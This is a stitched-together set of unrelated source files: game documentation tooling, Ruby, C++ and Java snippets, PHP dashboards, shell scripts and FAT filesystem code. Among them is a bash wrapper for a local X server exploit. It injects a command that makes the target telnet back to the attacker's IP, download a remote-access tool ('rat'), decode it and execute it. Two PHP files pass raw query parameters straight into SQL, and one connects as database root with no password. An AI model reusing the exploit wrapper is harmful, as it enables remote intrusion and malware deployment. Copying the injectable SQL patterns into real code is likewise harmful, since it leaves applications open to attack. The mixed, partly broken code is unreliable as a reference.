idStr desc( ev.GetDescription() );
desc.Replace( "\n", " " ); // no artificial line breaks
out += desc;
out += "\n";
const EventArgs &args = ev.GetArgs();
idStr argDesc;
for( EventArgs::const_iterator i = args.begin(); i != args.end(); ++i ) {
if( idStr::Length( i->desc ) == 0 ) {
continue;
}
// Format line breaks in the description
idStr desc( i->desc );
desc.Replace( "\n", " " ); // no artificial line breaks
argDesc += va( "::''%s'': %s\n", i->name, desc.c_str() );
}
if( !argDesc.IsEmpty() ) {
//out += "\n:";
out += argDesc;
}
return out;
}
idStr <API key>::GetEventDoc( const idEventDef *ev, bool <API key> ) {
idStr out;
idTypeDef *returnType = idCompiler::GetTypeForEventArg( ev->GetReturnType() );
idStr signature = <API key>( *ev );
idStr description = GetEventDescription( *ev );
idStr outStr = va( "==== scriptEvent %s (%s); ====\n",
returnType->Name(), ev->GetName(), signature.c_str() );
out += outStr + "\n";
out += description + "\n";
// Get type response info
idList<idTypeInfo *> list = GetRespondingTypes( *ev );
list.Sort( <API key> );
if( <API key> ) {
idStr typeInfoStr;
for( int t = 0; t < list.Num(); ++t ) {
idTypeInfo *type = list[t];
typeInfoStr += ( typeInfoStr.IsEmpty() ) ? "" : ", ";
typeInfoStr += "''";
typeInfoStr += type->classname;
typeInfoStr += "''";
}
typeInfoStr = ":Spawnclasses responding to this event: " + typeInfoStr;
out += typeInfoStr + "\n";
}
return out;
}
void <API key>::WriteDoc( idFile &out ) {
idStr version = va( "%s %d.%02d, code revision %d",
GAME_VERSION,
TDM_VERSION_MAJOR, TDM_VERSION_MINOR,
RevisionTracker::Instance().GetHighestRevision()
);
Writeln( out, "This page has been generated automatically by the <API key> console command." );
Writeln( out, "" );
Writeln( out, "Generated by " + version + ", last update: " + _dateStr );
Writeln( out, "" );
Writeln( out, "{{<API key>}}" );
// Table of contents, but don't show level 4 headlines
Writeln( out, "<div class=\"toclimit-4\">" ); // SteveL #3740
Writeln( out, "__TOC__" );
Writeln( out, "</div>" );
Writeln( out, "= TDM Script Event Reference =" );
Writeln( out, "" );
Writeln( out, "== All Events ==" );
Writeln( out, "=== Alphabetic List ===" ); // #3740 Two headers are required here for the toclimit to work. We can't skip a heading level.
typedef std::vector<const idEventDef *> EventList;
typedef std::map<idTypeInfo *, EventList> SpawnclassEventMap;
SpawnclassEventMap spawnClassEventMap;
for( EventMap::const_iterator i = _events.begin(); i != _events.end(); ++i ) {
const idEventDef *ev = i->second;
if( !EventIsPublic( *ev ) ) {
continue;
}
Write( out, GetEventDoc( ev, true ) );
idList<idTypeInfo *> respTypeList = GetRespondingTypes( *ev );
respTypeList.Sort( <API key> );
// Collect info for each spawnclass
for( int t = 0; t < respTypeList.Num(); ++t ) {
idTypeInfo *type = respTypeList[t];
SpawnclassEventMap::iterator typeIter = spawnClassEventMap.find( type );
// Put the event in the class info map
if( typeIter == spawnClassEventMap.end() ) {
typeIter = spawnClassEventMap.insert( SpawnclassEventMap::value_type( type, EventList() ) ).first;
}
typeIter->second.push_back( ev );
}
}
// Write info grouped by class
Writeln( out, "" );
Writeln( out, "== Events by Spawnclass / Entity Type ==" );
for( SpawnclassEventMap::const_iterator i = spawnClassEventMap.begin();
i != spawnClassEventMap.end(); ++i ) {
Writeln( out, idStr( "=== " ) + i->first->classname + " ===" );
//Writeln(out, "Events:" + idStr(static_cast<int>(i->second.size())));
for( EventList::const_iterator t = i->second.begin(); t != i->second.end(); ++t ) {
Write( out, GetEventDoc( *t, false ) );
}
}
Writeln( out, "[[Category:Scripting]]" );
}
void <API key>::WriteDoc( idFile &out ) {
pugi::xml_document doc;
idStr version = va( "%d.%02d", TDM_VERSION_MAJOR, TDM_VERSION_MINOR );
time_t timer = time( NULL );
struct tm *t = localtime( &timer );
idStr isoDateStr = va( "%04u-%02u-%02u", t->tm_year + 1900, t->tm_mon + 1, t->tm_mday );
pugi::xml_node eventDocNode = doc.append_child( "eventDocumentation" );
pugi::xml_node eventDocVersion = eventDocNode.append_child( "info" );
eventDocVersion.append_attribute( "game" ).set_value( GAME_VERSION );
eventDocVersion.append_attribute( "tdmversion" ).set_value( version.c_str() );
eventDocVersion.append_attribute( "coderevision" ).set_value( RevisionTracker::Instance().GetHighestRevision() );
eventDocVersion.append_attribute( "date" ).set_value( isoDateStr.c_str() );
for( EventMap::const_iterator i = _events.begin(); i != _events.end(); ++i ) {
const idEventDef *ev = i->second;
if( !EventIsPublic( *ev ) ) {
continue;
}
pugi::xml_node eventNode = eventDocNode.append_child( "event" );
eventNode.append_attribute( "name" ).set_value( ev->GetName() );
// Description
pugi::xml_node evDescNode = eventNode.append_child( "description" );
idStr desc( ev->GetDescription() );
desc.Replace( "\n", " " ); // no artificial line breaks
evDescNode.append_attribute( "value" ).set_value( desc.c_str() );
// Arguments
static const char *gen = "<API key>";
int g = 0;
const EventArgs &args = ev->GetArgs();
for( EventArgs::const_iterator i = args.begin(); i != args.end(); ++i ) {
idTypeDef *type = idCompiler::GetTypeForEventArg( i->type );
// Use a generic variable name "a", "b", "c", etc. if no name present
pugi::xml_node argNode = eventNode.append_child( "argument" );
argNode.append_attribute( "name" ).set_value( strlen( i->name ) > 0 ? i->name : idStr( gen[g++] ).c_str() );
argNode.append_attribute( "type" ).set_value( type->Name() );
idStr desc( i->desc );
desc.Replace( "\n", " " ); // no artificial line breaks
argNode.append_attribute( "description" ).set_value( desc.c_str() );
}
idList<idTypeInfo *> respTypeList = GetRespondingTypes( *ev );
respTypeList.Sort( <API key> );
// Responding Events
pugi::xml_node evRespTypesNode = eventNode.append_child( "respondingTypes" );
for( int t = 0; t < respTypeList.Num(); ++t ) {
idTypeInfo *type = respTypeList[t];
pugi::xml_node respTypeNode = evRespTypesNode.append_child( "respondingType" );
respTypeNode.append_attribute( "spawnclass" ).set_value( type->classname );
}
}
std::stringstream stream;
doc.save( stream );
out.Write( stream.str().c_str(), stream.str().length() );
}
|
module Spec
module Runner
class BacktraceTweaker
def <API key>(line)
line.gsub!('
end
end
class <API key> < BacktraceTweaker
def tweak_backtrace(error)
return if error.backtrace.nil?
tweaked = error.backtrace.collect do |line|
<API key>(line)
line
end
error.set_backtrace(tweaked)
end
end
# Tweaks raised Exceptions to mask noisy (unneeded) parts of the backtrace
class <API key> < BacktraceTweaker
unless defined?(IGNORE_PATTERNS)
root_dir = File.expand_path(File.join(__FILE__, '..', '..', '..', '..'))
|
// Item.h
// Project 2
#ifndef __Project_2__Item__
#define __Project_2__Item__
#include <string>
class Item
{
public:
Item();
virtual ~Item() = 0;
unsigned long getIdNumber() const;
virtual double getPrice() const;
std::string getName() const;
virtual void doSomething() = 0;
protected:
unsigned long idNumber;
std::string name;
};
#endif /* defined(__Project_2__Item__) */
|
#!/bin/bash
echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit
BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc.
Packrat now has an option to do just that:
packrat -n /current/bin/nc.YS
"
sleep 4
usage ()
{
echo "Usage: ${0}
-l [ IP of attack machine (NO DEFAULT) ]
-r [ name of rat on target (NO DEFAULT) ]
-p [ call back port DEFAULT = 32177 ]
-x [ port to start mini X server on DEFAULT = 12121 ]
-d [ directory to work from/create on target DEFAULT = /tmp/.X11R6]"
echo "example: ${0} -l 192.168.1.1 -p 22222 -r nscd -x 9999 -d /tmp/.strange"
}
DIR=0
XPORT=0
CALLBACK_PORT=0
if [ $# -lt 4 ]
then
usage
exit 1
fi
while getopts hl:p:r:d:x: optvar
do
case "$optvar"
in
h)
usage
exit 1
;;
l) LOCAL_IP=${OPTARG}
;;
p) CALLBACK_PORT=${OPTARG}
;;
r) RAT=${OPTARG}
;;
x) XPORT=${OPTARG}
;;
d) DIR=${OPTARG}
;;
*) echo "invalid option"
usage
exit 1
;;
esac
done
if [ ${DIR} = 0 ]
then
DIR="/tmp/.X11R6"
fi
if [ ${XPORT} = 0 ]
then
XPORT=12121
fi
if [ ${CALLBACK_PORT} = 0 ]
then
CALLBACK_PORT=32177
fi
echo
echo "
echo "Local IP = ${LOCAL_IP}"
echo "Call back port = ${CALLBACK_PORT}"
echo "Name of Rat = ${RAT}"
echo "Starting mini X server on port ${XPORT}"
echo "Directory to create/use = ${DIR}"
echo "
echo
VENDOR_STR="\`mkdir ${DIR} 2>&1;cd ${DIR} 2>&1 && /usr/bin/telnet ${LOCAL_IP} ${CALLBACK_PORT} 2>&1 </dev/console > ${RAT}.uu; uudecode ${RAT}.uu 2>&1 > /dev/null 2>&1 && uncompress -f ${RAT}.Z;chmod 0700 ${RAT} && export PATH=.; ${RAT} \`"
./uX_local -e "${VENDOR_STR}" -v -p ${XPORT} -c xxx
|
<!DOCTYPE html>
<html lang="es">
<head>
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.<API key>(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https:
})(window,document,'script','dataLayer','GTM-N4ZZ9MM');</script>
<!-- End Google Tag Manager -->
<meta charset="iso-8859-1" />
<title>Performance Paris Internet</title>
<meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0" />
<link rel="stylesheet" type="text/css" href="../../../bootstrap-3.3.6-dist/css/bootstrap.css" />
<link rel="stylesheet" type="text/css" href="../../../bootstrap-select-1.9.4/dist/css/bootstrap-select.css" />
<link rel="stylesheet" type="text/css" href="../../../estilo.css" />
<link rel="shortcut icon" type="image/png" href="../../../paris.png" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="http://code.jquery.com/jquery-latest.js"></script>
<!-- analytics -->
<script>
function change_date() {
var month = document.getElementById("month").value;
var year = document.getElementById("year").value;
var historicos = document.<API key>("tipo_venta");
var neg_div = document.getElementById("neg_div").value;
var cantidad_historicos = historicos.length;
document.getElementById("plan").href = "../../../ingresos/plan/index.php?month=" + month + "&year=" + year;
document.getElementById("filtro_depto").href = "../por_departamento/index.php?month=" + month + "&year=" + year + "&depto=601";
document.getElementById("<API key>").href = "index.php?month=" + month + "&year=" + year + "&neg_div="+neg_div;
document.getElementById("historico").href = "../../../ingresos/historico/index.php?month=" + month + "&year=" + year;
document.getElementById("tipo_pago").href = "../../tipo_pago/index.php?month=" + month + "&year=" + year;
for (var i = 0; i < cantidad_historicos; i++)
historicos[i].href = "../index.php?month=" + month + "&year=" + year;
}
</script>
</head>
<body>
<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https:
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->
<header class="container">
<nav class="navbar navbar-default">
<div class="btn-group-sm">
<div class="row">
<div class="col-md-12">
<h3 class="text-center"><a href="http://10.95.17.114/paneles"><img src="../../../paris.png" width="140px" height="100px"></a> Ingresos por Tipo Venta, <?php
if(isset($_GET['neg_div']))
echo " " . $_GET['neg_div'];
else
echo " VESTUARIO";
?></h3></div>
</div>
<div class="row">
<div class="col-lg-6 col-sm-6">
<h5 class="text-center text-success" style="margin-left: 200px;">Última actualización a las <?php
<API key>("America/Santiago");
$con = new mysqli('localhost', 'root', '', 'ventas');
$query = "select hora from actualizar";
$res = $con->query($query);
$hour = 0;
while($row = mysqli_fetch_assoc($res)){
$h = $row['hora'];
if(strlen($row['hora']) == 1)
$h = "00000" . $h;
if(strlen($row['hora']) == 2)
$h = "0000" . $h;
if(strlen($row['hora']) == 3)
$h = "000" . $h;
if(strlen($row['hora']) == 4)
$h = "00" . $h;
if(strlen($row['hora']) == 5)
$h = "0" . $row['hora'];
$h = new DateTime($h);
}
echo $h->format("H:i") . " horas.";
?></h5></div>
<div class="col-lg-6 col-sm-6">
<a class="btn btn-default btn-sm" href="../../../query.php" style="margin-left: 001px;">Query Ventas<img id="txt" src="../../../images.png"></a>
</div>
</div>
<br>
<form action="index.php" method="get" class="row">
<div class="col-lg-2">
<div class="dropdown">
<button class="btn btn-default btn-sm dropdown-toggle" type="button" id="dropdownMenu1" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
Seleccione Reporte
<span class="caret"></span>
</button>
<ul class="dropdown-menu" aria-labelledby="dropdownMenu1">
<li class="dropdown-header">Reporte de Ingresos</li>
<!-- Link a Panel Plan -->
<li><a id="plan" href="../../../ingresos/plan/index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Reporte por Plan</a></li>
<!-- Link a Panel Historico -->
<li><a id="historico" href="../../../ingresos/historico/index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Reporte Histórico</a></li>
<li role="separator" class="divider"></li>
<li class="dropdown-header">Reporte de Ingresos por Canal</li>
<li><a class="tipo_venta" href="../index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Reporte Ingresos Tipo Venta</a></li>
<li><a id="tipo_pago" href="../../tipo_pago/index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Reporte Ingresos Tipo Pago</a></li>
<li role="separator" class="divider"></li>
<li><a href="#">Reporte de Indicadores</a></li>
</ul>
</div>
</div>
<div class="col-lg-1" style="width: 20%;">
<select name="month" id="month" title="Mes" class="selectpicker" data-style="btn btn-default btn-sm" data-width="100px" onchange="change_date();">
<?php
$meses = array("Enero", "Febrero", "Marzo", "Abril", "Mayo", "Junio", "Julio", "Agosto", "Septiembre", "Octubre", "Noviembre", "Diciembre");
$cant_meses = count($meses);
if(isset($_GET['month'])){
$mes = $_GET['month'] - 1;
for ($i = 0; $i < $cant_meses; $i++) {
$month_number = $i + 1;
if (strlen($month_number) < 2)
$month_number = "0" . $month_number;
if ($mes == $i)
echo "<option value='$month_number' selected='selected'>" . $meses[$i] . "</option>";
else
echo "<option value='$month_number'>" . $meses[$i] . "</option>";
}
}else{
$mes_actual = date("m") - 1;
for ($i = 0; $i < $cant_meses; $i++) {
$month_number = $i + 1;
if (strlen($month_number) < 2)
$month_number = "0" . $month_number;
if ($mes_actual == $i)
echo "<option value='$month_number' selected='selected'>" . $meses[$i] . "</option>";
else
echo "<option value='$month_number'>" . $meses[$i] . "</option>";
}
}
?>
</select>
<select name="year" id="year" title="Año" class="selectpicker" data-style="btn btn-default btn-sm" data-width="100px" onchange="change_date();">
<?php
$first_year = 2015;
$last_year = date("Y");
if(isset($_GET['year'])){
$this_year = $_GET['year'];
for ($i = $first_year; $i <= $last_year; $i++) {
if ($i == $this_year)
echo "<option value='$i' selected='selected'>$i</option>";
else
echo "<option value='$i'>$i</option>";
}
}else {
for ($i = $first_year; $i <= $last_year; $i++) {
if ($i == $last_year)
echo "<option value='$i' selected='selected'>$i</option>";
else
echo "<option value='$i'>$i</option>";
}
}
?>
</select>
</div>
<div class="col-lg-2">
<div class="dropdown">
<button class="btn btn-default btn-sm dropdown-toggle" type="button" id="dropdownMenu2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
Seleccione Filtro
<span class="caret"></span>
</button>
<ul class="dropdown-menu" aria-labelledby="dropdownMenu2">
<!-- Link a Panel Historico (Sin Filtro) -->
<li><a class="tipo_venta" href="../index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Sin Filtro</a></li>
<!-- Link a Panel Historico -->
<li><a id="filtro_depto" href="../por_departamento/index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>&depto=601">Por Departamento</a></li>
<li><a id="<API key>" href="index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>&neg_div=<?php
if(isset($_GET['neg_div']))
echo $_GET['neg_div'];
else
echo "VESTUARIO";?>">Por Negocio / División</a></li>
</ul>
</div>
</div>
<div class="col-lg-2" style="width: 20%;">
<select name="neg_div" id="neg_div" class="selectpicker" data-style="btn btn-default btn-sm" onchange="change_date();">
<?php
if(isset($_GET['neg_div'])){
$neg_div_selected = $_GET['neg_div'];
$query = "select distinct negocio from depto where negocio <> ''";
$res = $con->query($query);
echo "<optgroup label='Negocios'>";
while($row = mysqli_fetch_assoc($res)){
$neg_div = $row['negocio'];
if($neg_div_selected == $neg_div)
echo "<option value='$neg_div' selected='selected'>$neg_div</option>";
else
echo "<option value='$neg_div'>$neg_div</option>";
}
echo "</optgroup>";
$query = "select distinct division from depto where division <> ''";
$res = $con->query($query);
echo "<optgroup label='Divisiones'>";
while($row = mysqli_fetch_assoc($res)){
$neg_div = $row['division'];
if($neg_div_selected == $neg_div)
echo "<option value='$neg_div' selected='selected'>$neg_div</option>";
else
echo "<option value='$neg_div'>$neg_div</option>";
}
echo "</optgroup>";
}else{
$query = "select distinct negocio from depto where negocio <> ''";
$res = $con->query($query);
$i = 0;
echo "<optgroup label='Negocios'>";
while($row = mysqli_fetch_assoc($res)){
$neg_div = $row['negocio'];
if($i == 0)
echo "<option value='$neg_div' selected='selected'>$neg_div</option>";
else
echo "<option value='$neg_div'>$neg_div</option>";
$i++;
}
echo "</optgroup>";
$query = "select distinct division from depto where division <> ''";
$res = $con->query($query);
echo "<optgroup label='Divisiones'>";
while($row = mysqli_fetch_assoc($res)){
$neg_div = $row['division'];
if($neg_div_selected == $neg_div)
echo "<option value='$neg_div' selected='selected'>$neg_div</option>";
else
echo "<option value='$neg_div'>$neg_div</option>";
}
echo "</optgroup>";
}
?>
</select>
</div>
<div class="col-lg-1 col-md-1 col-sm-1" style="width: 140px;" id="act">
<button class="btn btn-primary btn-sm" style="width: 100px;">Actualizar</button>
</div>
</form>
</div>
</nav>
</header>
<table class='table table-bordered table-condensed table-hover'>
<thead>
<tr>
<th rowspan="3" style="background: white;">
<h6 class="text-center"><b>Fecha</b></h6></th>
<th colspan="15" rowspan="1" style="background-color: #35388E; color: white;">
<h6 class="text-center"><b>Ingresos Tipo de Venta</b></h6></th>
</tr>
<tr>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Ingresos Sitio</b></h6></th>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Ingresos Fonocompras</b></h6></th>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Empresa</b></h6></th>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Ingresos Puntos Cencosud</b></h6></th>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Total</b></h6></th>
</tr>
<tr>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
<th style='background-color: #E0E1EE;'>
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
</tr>
</thead>
<?php
require_once '../../paneles.php';
if(isset($_GET['month']) && isset($_GET['year']) && isset($_GET['neg_div'])){
$month = $_GET['month'];
$year = $_GET['year'];
$neg_div = $_GET['neg_div'];
<API key>($month, $year, $neg_div, $con);
}else{
$month = date("m");
$year = date("Y");
$neg_div = 'VESTUARIO';
<API key>($month, $year, $neg_div, $con);
}
?>
</table>
<script src="../../../bootstrap-3.3.6-dist/js/bootstrap.min.js"></script>
<script src="../../../bootstrap-select-1.9.4/js/bootstrap-select.js"></script>
</body>
</html>
|
#!/bin/sh
ring_col=`echo White`
convert=`echo /usr/local/bin/convert`
c=`cat ~/Documents/CIRCLE/CONFIG | grep 'WEATHER_CODE' | tail -n1 | awk '{print $2}'`;
url=`echo "http://xml.weather.yahoo.com/forecastrss?p=$c&u=c"`;
strx=`curl --silent "$url" | grep -E '(Current Conditions:|C<BR)' | sed -e 's/Current Conditions://' -e 's/<br \/>//' -e 's/<b>//' -e 's/<\/b>//' -e 's/<BR \/>//' -e 's/<description>//' -e 's/<\/description>//' -e 's/,//' | tail -n1 | tr '[:lower:]' '[:upper:]'`;
i=`echo ${#strx}`;
let y=$i-4;
$convert -size 200x200 xc:transparent -stroke ${ring_col} -strokewidth 10 -fill none -draw "arc 190,190 10,10 0,360" /tmp/weather-ring.png
echo "\033[1;37m${strx:0:$y}\033[0m\c"
printf "\n"
|
Code Kata: Leapfrog Puzzle
============
Puzzle: Imagine you have a list of numbers, each number represents a 'jump code' to tell you how many steps forwards or backwards you must jump relative to your current space.
Given a list of such numbers calculate how many jumps it will take to leave the list. If the list falls into an infinite loop, return -1
For example:
Given the list 2,3,-1,1,3 it will take four jumps to leave the list.
- Starting at the first space (ie the 2)
- 1st hop: Jump 2 spaces to the -1
- 2nd hop: Jump back one space to the 3
- 3rd hop: Jump forwards 3 spaces to the three at the end
- 4th hop: Attempt to jump three spaces... and leave the list
|
#ifndef _GOALUNDO_H_
#define _GOALUNDO_H_
#include <stack>
#include <queue>
#include <string>
class GoalUndo
{
public:
void undoGoal();
void undoOperation();
void undoOperation(std::string);
std::string getOperations();
std::string getGoal();
void addOperation(std::string, std::string);
void addOperation(std::string);
private:
struct Goal{
std::string name;
std::vector <std::string> operations;
};
std::stack <Goal> goals;
};
#endif
|
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Random;
/**
* Randomly generates Secret Santa assignments for a given group.
* <p>
* All valid possible assignments are equally likely to be generated (uniform distribution).
*
* @author Michael Zaccardo (mzaccardo@aetherworks.com)
*/
public class SecretSanta {
private static final Random random = new Random();
private static final String[] DEFAULT_NAMES = { "Rob", "Ally", "Angus", "Mike", "Shannon", "Greg", "Lewis", "Isabel" };
public static void main(final String[] args) {
final String[] names = getNamesToUse(args);
final List<Integer> assignments = generateAssignments(names.length);
<API key>(assignments, names);
}
private static String[] getNamesToUse(final String[] args) {
if (args.length >= 2) {
return args;
} else {
System.out.println("Two or more names were not provided -- using default names.\n");
return DEFAULT_NAMES;
}
}
private static List<Integer> generateAssignments(final int size) {
final List<Integer> assignments = <API key>(size);
while (!areValidAssignments(assignments)) {
Collections.shuffle(assignments, random);
}
return assignments;
}
private static List<Integer> <API key>(final int size) {
final List<Integer> list = new ArrayList<>(size);
for (int i = 0; i < size; i++) {
list.add(i);
}
Collections.shuffle(list, random);
return list;
}
private static boolean areValidAssignments(final List<Integer> assignments) {
for (int i = 0; i < assignments.size(); i++) {
if (i == assignments.get(i)) {
return false;
}
}
return true;
}
private static void <API key>(final List<Integer> assignments, final String[] names) {
for (int i = 0; i < assignments.size(); i++) {
System.out.println(names[i] + " --> " + names[assignments.get(i)]);
}
}
}
|
#include "fat.h"
#include "disk.h"
#include "malloc.h"
void read_fs(struct fat_fs *b) {
read_sector((unsigned char *) &(b->bpb), 0, 0);
b->total_sectors = b->bpb.n_sectors;
b->fat_size = b->bpb.spf;
b->root_size = ((b->bpb.n_dirents * 32)
+ (b->bpb.bps - 1)) / b->bpb.bps;
b->first_data = b->bpb.n_hidden
+ (b->bpb.n_fats * b->fat_size)
+ b->root_size;
b->first_fat = b->bpb.n_hidden;
b->total_data = b->total_sectors
- (b->bpb.n_hidden
+ (b->bpb.n_fats * b->fat_size)
+ b->root_size);
b->total_clusters = b->total_data / b->bpb.spc;
}
struct fat_dirent *read_root_directory(struct fat_fs *b) {
struct fat_dirent *r = malloc(sizeof(struct fat_dirent) * b->bpb.n_dirents);
unsigned char *data = (unsigned char *) r;
unsigned int sector = b->first_data - b->root_size + 1;
unsigned int i;
for(i = 0; i < b->root_size; i++)
read_sector(data + (i * 512), 0, sector + i);
return r;
}
void parse_filename(char fname[11], char name[9], char ext[4]) {
int i;
for(i = 0; i < 8; i++) {
name[i] = fname[i];
if(fname[i] == ' ') {
name[i] = 0;
break;
}
}
for(i = 0; i < 3; i++)
ext[i] = fname[i + 8];
name[8] = ext[3] = 0;
}
unsigned int sector_from_fat(struct fat_fs *b, unsigned short fat_offset) {
unsigned char *fat = malloc(b->fat_size * b->bpb.bps);
unsigned short cluster;
unsigned int r;
cluster = fat[fat_offset];
cluster |= fat[fat_offset + 1];
if(cluster >= 0xFFF8) r = -1;
else r = cluster * b->bpb.spc;
free(fat);
return r;
}
|
<?php
include '../test/connect.php';
$conn = mysql_connect($dbhost,$dbuser,$dbpass)
or die ('Error connecting to mysql');
mysql_select_db($dbname);
if(isset($_GET['query'])) { $query = $_GET['query']; } else { $query = ""; }
if(isset($_GET['type'])) { $type = $_GET['type']; } else { $query = "count"; }
if($type == "count"){
$sql = mysql_query("SELECT count(gameid) FROM arcade_games WHERE MATCH(shortname, description, title) AGAINST('$query*' IN BOOLEAN MODE)");
$total = mysql_fetch_array($sql);
$num = $total[0];
echo $num;
}
?>
<table width="300px">
<?php
if($type == "results"){
$sql = mysql_query("SELECT shortname, title, description FROM arcade_games WHERE MATCH(shortname, title, description) AGAINST('$query*' IN BOOLEAN MODE)");
while($result_ar = mysql_fetch_array($sql)) {
$id = $result_ar['gameid'];
$squery = sprintf("SELECT * FROM arcade_highscores WHERE gamename = ('%s') ORDER by score DESC",
$id);
$sresult = mysql_query($squery);
$sresult_ar = mysql_fetch_assoc($sresult);
$image = $result_ar['stdimage'];
$name = $result_ar['shortname'];
$file = $result_ar['file'];
$width = $result_ar['width'];
$height = $result_ar['height'];
$champ = $sresult_ar['username'];
$cscore = $sresult_ar['score'];
?>
<tr>
<td><?php echo "<img src='http:
<td><?php echo ucwords($name);
echo "<br />";
echo"<a href='#' onClick=\"parent.location.href='gamescreen.php?game=$file&width=$width&height=$height'\">PLAY</a>";
?></td>
<td><?php
if ($result_ar['gameid'] = $sresult_ar['gamename']){
echo "<b>Champion: </b>";
echo $champ;
echo "<br />";
echo "High Score: ";
echo $cscore;
}else{
$champ = "None";
$cscore = 0;
echo "<b>Champion: </b>";
echo "none";
echo "<br />";
echo "High Score: ";
echo 0;
}
?> </td>
</tr>
<?php
$i+=1;
} //while
?>
</table>
<?
}
mysql_close($conn);
?>
|
.fade {
opacity: 0;
-webkit-transition: opacity 0.15s linear;
-moz-transition: opacity 0.15s linear;
-ms-transition: opacity 0.15s linear;
-o-transition: opacity 0.15s linear;
transition: opacity 0.15s linear;
}
.fade.in {
opacity: 1;
}
.tooltip {
position: absolute;
z-index: 1020;
display: block;
padding: 5px;
font-size: 11px;
opacity: 0;
filter: alpha(opacity=0);
visibility: visible;
}
.tooltip.in {
opacity: 0.8;
filter: alpha(opacity=80);
}
.tooltip.top {
margin-top: -2px;
}
.tooltip.right {
margin-left: 2px;
}
.tooltip.bottom {
margin-top: 2px;
}
.tooltip.left {
margin-left: -2px;
}
.tooltip.top .arrow {
bottom: 0;
left: 50%;
margin-left: -5px;
border-top: 5px solid #000000;
border-right: 5px solid transparent;
border-left: 5px solid transparent;
}
.tooltip.left .arrow {
top: 50%;
right: 0;
margin-top: -5px;
border-top: 5px solid transparent;
border-bottom: 5px solid transparent;
border-left: 5px solid #000000;
}
.tooltip.bottom .arrow {
top: 0;
left: 50%;
margin-left: -5px;
border-right: 5px solid transparent;
border-bottom: 5px solid #000000;
border-left: 5px solid transparent;
}
.tooltip.right .arrow {
top: 50%;
left: 0;
margin-top: -5px;
border-top: 5px solid transparent;
border-right: 5px solid #000000;
border-bottom: 5px solid transparent;
}
.tooltip-inner {
max-width: 200px;
padding: 3px 8px;
color: #ffffff;
text-align: center;
text-decoration: none;
background-color: #000000;
-<API key>: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
}
.arrow {
position: absolute;
width: 0;
height: 0;
}
.popover {
position: absolute;
top: 0;
left: 0;
z-index: 1010;
display: none;
padding: 5px;
}
.popover.top {
margin-top: -5px;
}
.popover.right {
margin-left: 5px;
}
.popover.bottom {
margin-top: 5px;
}
.popover.left {
margin-left: -5px;
}
.popover.top .arrow {
bottom: 0;
left: 50%;
margin-left: -5px;
border-top: 5px solid #000000;
border-right: 5px solid transparent;
border-left: 5px solid transparent;
}
.popover.right .arrow {
top: 50%;
left: 0;
margin-top: -5px;
border-top: 5px solid transparent;
border-right: 5px solid #000000;
border-bottom: 5px solid transparent;
}
.popover.bottom .arrow {
top: 0;
left: 50%;
